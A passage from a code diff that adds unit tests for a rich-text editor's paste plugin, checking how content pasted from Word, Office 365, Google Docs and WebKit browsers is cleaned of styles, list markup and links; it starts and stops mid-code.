mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:0cm; margin-left:36.0pt; margin-bottom:.0001pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast {mso-style-priority:34; mso-style-unhide:no; mso-style-qformat:yes; mso-style-type:export-only; margin-top:0cm; margin-right:0cm; margin-bottom:10.0pt; margin-left:36.0pt; mso-add-space:auto; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page Section1 {size:595.3pt 841.9pt; margin:70.85pt 70.85pt 70.85pt 70.85pt; mso-header-margin:35.4pt; mso-footer-margin:35.4pt; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} table.MsoTableGrid {mso-style-name:"Table Grid"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-priority:59; mso-style-unhide:no; border:solid black 1.0pt; mso-border-themecolor:text1; mso-border-alt:solid black .5pt; mso-border-themecolor:text1; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-border-insideh:.5pt solid black; mso-border-insideh-themecolor:text1; mso-border-insidev:.5pt solid black; mso-border-insidev-themecolor:text1; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} </style> <![endif]--> <table class="MsoTableGrid" style="border: medium none ; margin-left: 36pt; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"> <tbody><tr style=""> <td style="border: 1pt solid black; padding: 0cm 5.4pt; width: 230.3pt;" valign="top" width="307"> <p class="MsoListParagraphCxSpFirst" style="margin: 0cm 0cm 0.0001pt; line-height: normal;">Cell 1</p> </td> <td style="border-style: solid solid solid none; border-color: black black black -moz-use-text-color; border-width: 1pt 1pt 1pt medium; padding: 0cm 5.4pt; width: 230.3pt;" valign="top" width="307"> <p class="MsoListParagraphCxSpLast" style="margin: 0cm 0cm 0.0001pt; line-height: normal;">Cell 2</p> </td> </tr> <tr style=""> <td style="border-style: none solid solid; border-color: -moz-use-text-color black black; border-width: medium 1pt 1pt; padding: 0cm 5.4pt; width: 230.3pt;" valign="top" width="307"> <p class="MsoListParagraphCxSpFirst" style="margin: 0cm 0cm 0.0001pt; line-height: normal;">Cell 3</p> </td> <td style="border-style: none solid solid none; border-color: -moz-use-text-color black black -moz-use-text-color; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 230.3pt;" valign="top" width="307"> <p class="MsoListParagraphCxSpLast" style="margin: 0cm 0cm 0.0001pt; line-height: normal;">Cell 4</p> </td> </tr> </tbody></table> <p class="MsoListParagraph"><o:p>&nbsp;</o:p></p>'});
+	equal(editor.getContent(), '<table><tbody><tr><td width="307"><p>Cell 1</p></td><td width="307"><p>Cell 2</p></td></tr><tr><td width="307"><p>Cell 3</p></td><td width="307"><p>Cell 4</p></td></tr></tbody></table><p>&nbsp;</p>');
+});
+
+test("Paste Office 365", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<div class="OutlineElement Ltr SCX195156559">Test</div>'});
+	equal(editor.getContent(), '<p>Test</p>');
+});
+
+test("Paste Google Docs", function() {
+	var rng = editor.dom.createRng();
+
+	editor.setContent('<p>1234</p>');
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 4);
+	editor.selection.setRng(rng);
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<span id="docs-internal-guid-94e46f1a-1c88-b42b-d502-1d19da30dde7"></span><p dir="ltr>Test</p>'});
+	equal(editor.getContent(), '<p>Test</p>');
+});
+
+test("Paste Word without mso markings", function() {
+	editor.setContent('');
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			'<font face="Times New Roman" size="3"></font>' +
+			'<p style="margin: 0in 0in 10pt;">' +
+			'<span style=\'line-height: 115%; font-family: "Comic Sans MS"; font-size: 22pt;\'>Comic Sans MS</span>' +
+			'</p>' +
+			'<font face="Times New Roman" size="3"></font>'
+		)
+	});
+
+	equal(editor.getContent(), (
+		'<p>Comic Sans MS</p>'
+	));
+});
+
+test("Paste Word links", function() {
+	editor.setContent('');
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			'<p class="MsoNormal">' +
+				'<a href="file:///C:/somelocation/filename.doc#_Toc238571849">1</a>' +
+				'<a href="#_Toc238571849">2</a>' +
+				'<a name="Toc238571849">3</a>' +
+				'<a name="_Toc238571849">4</a>' +
+				'<a href="#_ftn238571849" name="_ftnref238571849">[5]</a>' +
+				'<a href="#_ftnref238571849" name="_ftn238571849">[5]</a>' +
+				'<a href="#_edn238571849" name="_ednref238571849">[6]</a>' +
+				'<a href="#_ednref238571849" name="_edn238571849">[7]</a>' +
+				'<a href="http://domain.tinymce.com/someurl">8</a>' +
+				'<a name="#unknown">9</a>' +
+				'<a href="http://domain.tinymce.com/someurl" name="named_link">named_link</a>' +
+				'<a>5</a>' +
+			'</p>'
+		)
+	});
+
+	equal(editor.getContent(), (
+		'<p>' +
+			'<a href="#_Toc238571849">1</a>' +
+			'<a href="#_Toc238571849">2</a>' +
+			'<a name="Toc238571849"></a>3' +
+			'<a name="_Toc238571849"></a>4' +
+			'<a href="#_ftn238571849" name="_ftnref238571849">[5]</a>' +
+			'<a href="#_ftnref238571849" name="_ftn238571849">[5]</a>' +
+			'<a href="#_edn238571849" name="_ednref238571849">[6]</a>' +
+			'<a href="#_ednref238571849" name="_edn238571849">[7]</a>' +
+			'<a href="http://domain.tinymce.com/someurl">8</a>' +
+			'9' +
+			'named_link' +
+			'5' +
+		'</p>'
+	));
+});
+
+test("Paste Word retain styles", function() {
+	editor.settings.paste_retain_style_properties = 'color,background-color,font-family';
+
+	// Test color
+	editor.setContent('');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="MsoNormal" style="color: #ff0000">Test</p>'});
+	equal(editor.getContent(), '<p style=\"color: #ff0000;\">Test</p>');
+
+	// Test background-color
+	editor.setContent('');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="MsoNormal" style="background-color: #ff0000">Test</p>'});
+	equal(editor.getContent(), '<p style=\"background-color: #ff0000;\">Test</p>');
+});
+
+test("Paste Word retain bold/italic styles to elements", function() {
+	editor.settings.paste_retain_style_properties = 'color';
+
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			'<p class="MsoNormal">' +
+				'<span style="font-weight: bold">bold</span>' +
+				'<span style="font-style: italic">italic</span>' +
+				'<span style="font-weight: bold; font-style: italic">bold + italic</span>' +
+				'<span style="font-weight: bold; color: red">bold + color</span>' +
+			'</p>'
+		)
+	});
+
+	equal(editor.getContent(), '<p><b>bold</b><i>italic</i><b><i>bold + italic</i></b><b><span style="color: red;">bold + color</span></b></p>');
+});
+
+test('paste track changes comment', function() {
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			'<p class="MsoNormal">1</p>' +
+			'<div style="mso-element: comment;">2</div>' +
+			'<span class="msoDel">3</span>' +
+			'<del>4</del>'
+		)
+	});
+
+	equal(editor.getContent(), '<p>1</p>');
+});
+
+test('paste nested (UL) word list', function() {
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			"<p class=MsoListParagraphCxSpFirst style='text-indent:-18.0pt;mso-list:l0 level1 lfo1'>" +
+			"<![if !supportLists]><span	style='font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol'>" +
+			"<span style='mso-list:Ignore'>·<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" +
+			"</span></span></span><![endif]>a</p>" +
+
+			"<p class=MsoListParagraphCxSpMiddle style='margin-left:72.0pt;mso-add-space:auto;text-indent:-18.0pt;mso-list:l0 level2 lfo1'>" +
+			"<![if !supportLists]><span style='font-family:\"Courier New\";mso-fareast-font-family:\"Courier New\"'>" +
+			"<span style='mso-list:Ignore'>o<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;</span></span></span><![endif]>b</p>" +
+
+			"<p class=MsoListParagraphCxSpLast style='margin-left:108.0pt;mso-add-space:auto;text-indent:-18.0pt;mso-list:l0 level3 lfo1'>" +
+			"<![if !supportLists]><span style='font-family:Wingdings;mso-fareast-font-family:Wingdings;mso-bidi-font-family:Wingdings'>" +
+			"<span style='mso-list:Ignore'>§<span style='font:7.0pt \"Times New Roman\"'>&nbsp;</span></span></span><![endif]>c 1. x</p>"
+		)
+	});
+
+	equal(
+		editor.getContent(),
+		'<ul>'+
+			'<li>a' +
+				'<ul>' +
+					'<li>b' +
+						'<ul>' +
+							'<li>c 1. x</li>' +
+						'</ul>' +
+					'</li>' +
+				'</ul>' +
+			'</li>' +
+		'</ul>'
+	);
+});
+
+test('paste nested (OL) word list', function() {
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			"<p class=MsoListParagraphCxSpFirst style='text-indent:-18.0pt;mso-list:l0 level1 lfo1'>" +
+			"<![if !supportLists]><span style='mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin'>" +
+			"<span style='mso-list:Ignore'>1.<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>" +
+			"</span></span><![endif]>a</p>" +
+
+			"<p class=MsoListParagraphCxSpMiddle style='margin-left:72.0pt;mso-add-space:auto;text-indent:-18.0pt;mso-list:l0 level2 lfo1'>" +
+			"<![if !supportLists]><span style='mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin'><span style='mso-list:Ignore'>a." +
+			"<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><![endif]>b</p>" +
+
+			"<p class=MsoListParagraphCxSpLast style='margin-left:108.0pt;mso-add-space:auto;text-indent:-108.0pt;mso-text-indent-alt:-9.0pt;mso-list:l0 level3 lfo1'>" +
+			"<![if !supportLists]><span style='mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin'><span style='mso-list:Ignore'>" +
+			"<span style='font:7.0pt \"Times New Roman\"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" +
+			"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" +
+			"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" +
+			"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>i.<span style='font:7.0pt \"Times New Roman\"'>" +
+			"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><![endif]>c</p>"
+		)
+	});
+
+	equal(
+		editor.getContent(),
+		'<ol>'+
+			'<li>a' +
+				'<ol>' +
+					'<li>b' +
+						'<ol>' +
+							'<li>c</li>' +
+						'</ol>' +
+					'</li>' +
+				'</ol>' +
+			'</li>' +
+		'</ol>'
+	);
+});
+
+test("Paste list start index", function() {
+	editor.settings.paste_merge_formats = true;
+
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {
+		content: (
+			'<p class=MsoListParagraphCxSpMiddle style="text-indent:-18.0pt;mso-list:l0 level1 lfo1">' +
+			'<![if !supportLists]><span style="mso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;' +
+			'mso-bidi-font-family:Calibri;mso-bidi-theme-font:minor-latin"><span style="mso-list:Ignore">10.' +
+			'<span style="font:7.0pt Times>&nbsp;&nbsp;</span></span></span><![endif]>J<o:p></o:p></p>'
+		)
+	});
+	equal(editor.getContent(), '<ol start="10"><li>J</li></ol>');
+})
+
+test("Paste paste_merge_formats: true", function() {
+	editor.settings.paste_merge_formats = true;
+
+	editor.setContent('<p><strong>a</strong></p>');
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em><strong>b</strong></em>'});
+	equal(editor.getContent(), '<p><strong>a<em>b</em></strong></p>');
+});
+
+test("Paste paste_merge_formats: false", function() {
+	editor.settings.paste_merge_formats = false;
+
+	editor.setContent('<p><strong>a</strong></p>');
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em><strong>b</strong></em>'});
+	equal(editor.getContent(), '<p><strong>a<em><strong>b</strong></em></strong></p>');
+});
+
+test("Paste word DIV as P", function() {
+	editor.setContent('');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="MsoNormal">1</p><div>2</div>'});
+	equal(editor.getContent(), '<p>1</p><p>2</p>');
+});
+
+test("Paste part of list from IE", function() {
+	editor.setContent('');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<li>item2</li><li>item3</li>'});
+	equal(Utils.trimContent(editor.getContent()), '<ul><li>item2</li><li>item3</li></ul>', 'List tags are inferred when pasting LI');
+});
+
+test("Disable default filters", function() {
+	editor.settings.paste_enable_default_filters = false;
+
+	// Test color
+	editor.setContent('');
+	editor.execCommand('SelectAll');
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<p class="MsoNormal" style="color: #ff0000;">Test</p>'});
+	equal(editor.getContent(), '<p class="MsoNormal" style="color: #ff0000;">Test</p>');
+});
+
+test('paste invalid content with spans on page', function() {
+	var startingContent = '<p>123 testing <span id="x">span later in document</span></p>',
+		insertedContent = '<ul><li>u</li><li>l</li></ul>';
+	editor.setContent(startingContent);
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 0);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {content: insertedContent});
+
+	equal(editor.getContent(), insertedContent + startingContent);
+});
+
+test('paste plain text with space', function() {
+	editor.setContent('<p>text</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {text: ' a '});
+
+	equal(editor.getContent(), '<p>t a xt</p>');
+});
+
+test('paste plain text with linefeeds', function() {
+	editor.setContent('<p>text</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {text: 'a\nb\nc\n'});
+
+	equal(editor.getContent(), '<p>ta<br />b<br />c<br />xt</p>');
+});
+
+test('paste plain text with double linefeeds', function() {
+	editor.setContent('<p>text</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {text: 'a\n\nb\n\nc'});
+
+	equal(editor.getContent(), '<p>t</p><p>a</p><p>b</p><p>c</p><p>xt</p>');
+});
+
+test('paste plain text with entities', function() {
+	editor.setContent('<p>text</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {text: '< & >'});
+
+	equal(editor.getContent(), '<p>t&lt; &amp; &gt;xt</p>');
+});
+
+test('paste plain text with paragraphs', function() {
+	editor.setContent('<p>text</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertClipboardContent', false, {text: 'a\n<b>b</b>\n\nc'});
+
+	equal(editor.getContent(), '<p>t</p><p>a<br />&lt;b&gt;b&lt;/b&gt;</p><p>c</p><p>xt</p>');
+});
+
+test('paste data image with paste_data_images: false', function() {
+	editor.setContent('');
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<img src="data:image/png;base64,...">'});
+	equal(editor.getContent(), '');
+
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<img alt="alt" src="data:image/png;base64,...">'});
+	equal(editor.getContent(), '');
+});
+
+test('paste data image with paste_data_images: true', function() {
+	editor.settings.paste_data_images = true;
+
+	editor.setContent('');
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<img src="data:image/png;base64,...">'});
+
+	equal(editor.getContent(), '<p><img src="data:image/png;base64,..." alt="" /></p>');
+});
+
+test('paste pre process text (event)', function() {
+	function callback(e) {
+		e.content = 'PRE:' + e.content;
+	}
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.on('PastePreProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {text: 'b\n2'});
+	equal(editor.getContent(), '<p>PRE:b<br />2</p>');
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.off('PastePreProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {text: 'c'});
+	equal(editor.getContent(), '<p>c</p>');
+});
+
+test('paste pre process html (event)', function() {
+	function callback(e) {
+		e.content = 'PRE:' + e.content;
+	}
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.on('PastePreProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em>b</em>'});
+	equal(editor.getContent(), '<p>PRE:<em>b</em></p>');
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.off('PastePreProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em>c</em>'});
+	equal(editor.getContent(), '<p><em>c</em></p>');
+});
+
+test('paste post process (event)', function() {
+	function callback(e) {
+		e.node.innerHTML += ':POST';
+	}
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.on('PastePostProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em>b</em>'});
+	equal(editor.getContent(), '<p><em>b</em>:POST</p>');
+
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.off('PastePostProcess', callback);
+	editor.execCommand('mceInsertClipboardContent', false, {content: '<em>c</em>'});
+	equal(editor.getContent(), '<p><em>c</em></p>');
+});
+
+test('paste innerText of conditional comments', function() {
+	equal(tinymce.pasteplugin.Utils.innerText('<![if !supportLists]>X<![endif]>'), 'X');
+});
+
+test('paste innerText of single P', function() {
+	editor.setContent('<p>a</p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a');
+});
+
+test('paste innerText of single P with whitespace wrapped content', function() {
+	editor.setContent('<p>   a   </p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a');
+});
+
+test('paste innerText of two P', function() {
+	editor.setContent('<p>a</p><p>b</p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a\n\nb');
+});
+
+test('paste innerText of H1 and P', function() {
+	editor.setContent('<h1>a</h1><p>b</p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a\nb');
+});
+
+test('paste innerText of P with BR', function() {
+	editor.setContent('<p>a<br>b</p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a\nb');
+});
+
+test('paste innerText of P with VIDEO', function() {
+	editor.setContent('<p>a<video>b<br>c</video>d</p>');
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML), 'a d');
+});
+
+test('paste innerText of PRE', function() {
+	editor.getBody().innerHTML = '<pre>a\nb\n</pre>';
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().innerHTML).replace(/\r\n/g, '\n'), 'a\nb\n');
+});
+
+test('paste innerText of textnode with whitespace', function() {
+	editor.getBody().innerHTML = '<pre> a </pre>';
+	equal(tinymce.pasteplugin.Utils.innerText(editor.getBody().firstChild.innerHTML), ' a ');
+});
+
+test('trim html from clipboard fragments', function() {
+	equal(tinymce.pasteplugin.Utils.trimHtml('<!--StartFragment-->a<!--EndFragment-->'), 'a');
+	equal(tinymce.pasteplugin.Utils.trimHtml('a\n<body>\n<!--StartFragment-->\nb\n<!--EndFragment-->\n</body>\nc'), '\nb\n');
+	equal(tinymce.pasteplugin.Utils.trimHtml('a<!--StartFragment-->b<!--EndFragment-->c'), 'abc');
+	equal(tinymce.pasteplugin.Utils.trimHtml('a<body>b</body>c'), 'b');
+	equal(tinymce.pasteplugin.Utils.trimHtml('a<span class="Apple-converted-space">\u00a0<\/span>b'), 'a b');
+	equal(tinymce.pasteplugin.Utils.trimHtml('<span class="Apple-converted-space">\u00a0<\/span>b'), ' b');
+	equal(tinymce.pasteplugin.Utils.trimHtml('a<span class="Apple-converted-space">\u00a0<\/span>'), 'a ');
+	equal(tinymce.pasteplugin.Utils.trimHtml('<span class="Apple-converted-space">\u00a0<\/span>'), ' ');
+});
+
+if (tinymce.Env.webkit) {
+	test('paste webkit retains text styles runtime styles internal', function() {
+		editor.settings.paste_webkit_styles = 'color';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '&lt;span style="color:red"&gt;&lt;span data-mce-style="color:red"&gt;'});
+		equal(editor.getContent(), '<p>&lt;span style="color:red"&gt;&lt;span data-mce-style="color:red"&gt;</p>');
+	});
+
+	test('paste webkit remove runtime styles internal', function() {
+		editor.settings.paste_webkit_styles = 'color';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color:red; font-size: 42px" data-mce-style="color: red;">Test</span>'});
+		equal(editor.getContent(), '<p><span style="color: red;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (color)', function() {
+		editor.settings.paste_webkit_styles = 'color';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color:red; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style="color: red;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles keep before attr', function() {
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span class="c" style="color:red; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span class="c">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles keep after attr', function() {
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color:red; text-indent: 10px" title="t">Test</span>'});
+		equal(editor.getContent(), '<p><span title="t">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles keep before/after attr', function() {
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span class="c" style="color:red; text-indent: 10px" title="t">Test</span>'});
+		equal(editor.getContent(), '<p><span class="c" title="t">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (background-color)', function() {
+		editor.settings.paste_webkit_styles = 'background-color';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="background-color:red; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style="background-color: red;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (font-size)', function() {
+		editor.settings.paste_webkit_styles = 'font-size';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="font-size:42px; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style="font-size: 42px;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (font-family)', function() {
+		editor.settings.paste_webkit_styles = 'font-family';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="font-family: Arial, Helvetica; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style="font-family: Arial, Helvetica;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles font-family allowed but not specified', function() {
+		editor.settings.paste_webkit_styles = 'font-family';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<p title="x" style="text-indent: 10px">Test</p>'});
+		equal(editor.getContent(), '<p title="x">Test</p>');
+	});
+
+	test('paste webkit remove runtime styles (custom styles)', function() {
+		editor.settings.paste_webkit_styles = 'color font-style';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color: red; font-style: italic; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style="color: red; font-style: italic;">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (all)', function() {
+		editor.settings.paste_webkit_styles = 'all';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color: red; font-style: italic; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p><span style=\"color: red; font-style: italic; text-indent: 10px;\">Test</span></p>');
+	});
+
+	test('paste webkit remove runtime styles (none)', function() {
+		editor.settings.paste_webkit_styles = 'none';
+		editor.setContent('');
+		editor.execCommand('mceInsertClipboardContent', false, {content: '<span style="color: red; font-style: italic; text-indent: 10px">Test</span>'});
+		equal(editor.getContent(), '<p>Test</p>');
+	});
+
+	test('paste webkit remove runtime styles (color) in the same (color) (named)', function() {
+		editor.settings.paste_webkit_styles = 'color';
+
+		editor.setContent('<p style="color:red">Test</span>');
+		Utils.setSelection('p', 0, 'p', 4);
+
+		editor.execCommand('mceInsertClipboardContent', false, {
+			content: (
+				'<span style="color:#ff0000; text-indent: 10px">a</span>' +
+				'<span style="color:rgb(255, 0, 0); text-indent: 10px">b</span>'
+			)
+		});
+
+		equal(editor.getContent(), '<p style="color: red;">ab</p>');
+	});
+
+	test('paste webkit remove runtime styles (color) in the same (color) (hex)', function() {
+		editor.setContent('<p style="color:#ff0000">Test</span>');
+		Utils.setSelection('p', 0, 'p', 4);
+
+		editor.execCommand('mceInsertClipboardContent', false, {
+			content: (
+				'<span style="color:red; text-indent: 10px">a</span>' +
+				'<span style="color:#ff0000; text-indent: 10px">b</span>' +
+				'<span style="color:rgb(255, 0, 0); text-indent: 10px">c</span>'
